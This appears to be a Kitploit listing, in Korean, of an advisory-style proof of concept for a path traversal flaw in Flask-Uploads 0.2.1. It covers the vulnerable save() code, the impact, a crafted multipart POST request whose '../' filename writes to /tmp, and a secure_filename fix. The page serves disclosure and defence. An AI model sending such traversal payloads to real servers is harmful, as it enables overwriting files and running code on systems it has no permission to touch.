Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC — Flask-Uploads 0.2.1의 CWE-22 경로 탐색(Path Traversal) 데모. 교육 및 보안 연구 목적으로만 사용하십시오. Python 3.11에서 테스트되었습니다. | Kitploit
도구/GitHubGitHub/nicetop1027/cve-2026-pending-flask-uploads-path-traversal-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubnicetop1027/cve-2026-pending-flask-uploads-path-traversal-poc

CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC

Flask-Uploads 0.2.1의 CWE-22 경로 탐색(Path Traversal) 데모. 교육 및 보안 연구 목적으로만 사용하십시오. Python 3.11에서 테스트되었습니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
7개월 전아직 검토되지 않음

CVE-2026-XXXXX (대기 중): Flask-Uploads의 경로 순회

취약점 정보

  • 제품: Flask-Uploads
  • 버전: 0.2.1 (및 이전 버전 가능)
  • 취약점 유형: 경로 순회 (디렉토리 순회)
  • CWE-ID: CWE-22
  • 심각도: 높음 (CVSS 7.5)
  • 영향: 임의 파일 쓰기, 원격 코드 실행 (RCE)

설명

Flask-Uploads 0.2.1 버전에는 치명적인 경로 순회 취약점이 존재합니다. 이 라이브러리는 업로드된 파일의 파일명을 파일시스템에 저장하기 전에 제대로 검증(새니타이즈)하지 못합니다.

구체적으로, flask_uploads.py의 save() 메서드는 os.path.join()을 사용하여 업로드 대상 경로와 사용자가 제공한 파일명을 직접 연결합니다. 이로 인해 공격자는 파일명에 ../../와 같은 디렉토리 순회 시퀀스를 포함시켜 서버 파일시스템의 임의 위치에 파일을 쓸 수 있습니다.

근본 원인 분석

파일: flask_uploads.py (v0.2.1의 132번째 줄)

root@kitploit:~
def save(self, storage, filename=None):
    if filename is None:
        filename = storage.filename
    # VULNERABLE CODE: No sanitization of 'filename'
    target = os.path.join(self.destination, filename)
    storage.save(target)
    return filename

애플리케이션은 개발자가 파일명을 검증할 것을 신뢰하지만, 라이브러리 문서는 파일 업로드를 안전하게 처리한다고 암시합니다. 기본적으로 개발자가 요청에서 원시 파일명을 전달하면 취약점으로 이어집니다.

영향

  1. 임의 파일 덮어쓰기: 공격자는 중요한 시스템 파일(예: ssh_host_key, 설정 파일)을 덮어쓸 수 있습니다.
  2. 원격 코드 실행 (RCE): 공격자는 웹 서버가 실행하는 디렉토리(예: cgi-bin 또는 알려진 정적 폴더)에 악성 스크립트(예: .php, .py)를 업로드하여 서버에서 임의의 명령을 실행할 수 있습니다.

개념 증명 (PoC)

공격자는 조작된 파일명으로 POST 요청을 전송하여 이 취약점을 악용할 수 있습니다:

root@kitploit:~
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain

HACKED
------WebKitFormBoundary--

서버가 이 파일을 저장하기 위해 Flask-Uploads를 사용하는 경우, 의도된 업로드 디렉토리 대신 /tmp/pwned.txt에 기록됩니다.

완화 / 수정

라이브러리는 결합된 경로가 의도된 디렉토리 내에 있는지 os.path.abspath와 startswith를 사용하여 확인하거나, 항상 werkzeug.utils.secure_filename과 같은 검증 함수를 사용해야 합니다.

권장 수정:

root@kitploit:~
from werkzeug.utils import secure_filename

# ...
filename = secure_filename(filename) 
target = os.path.join(self.destination, filename)
도구 다운로드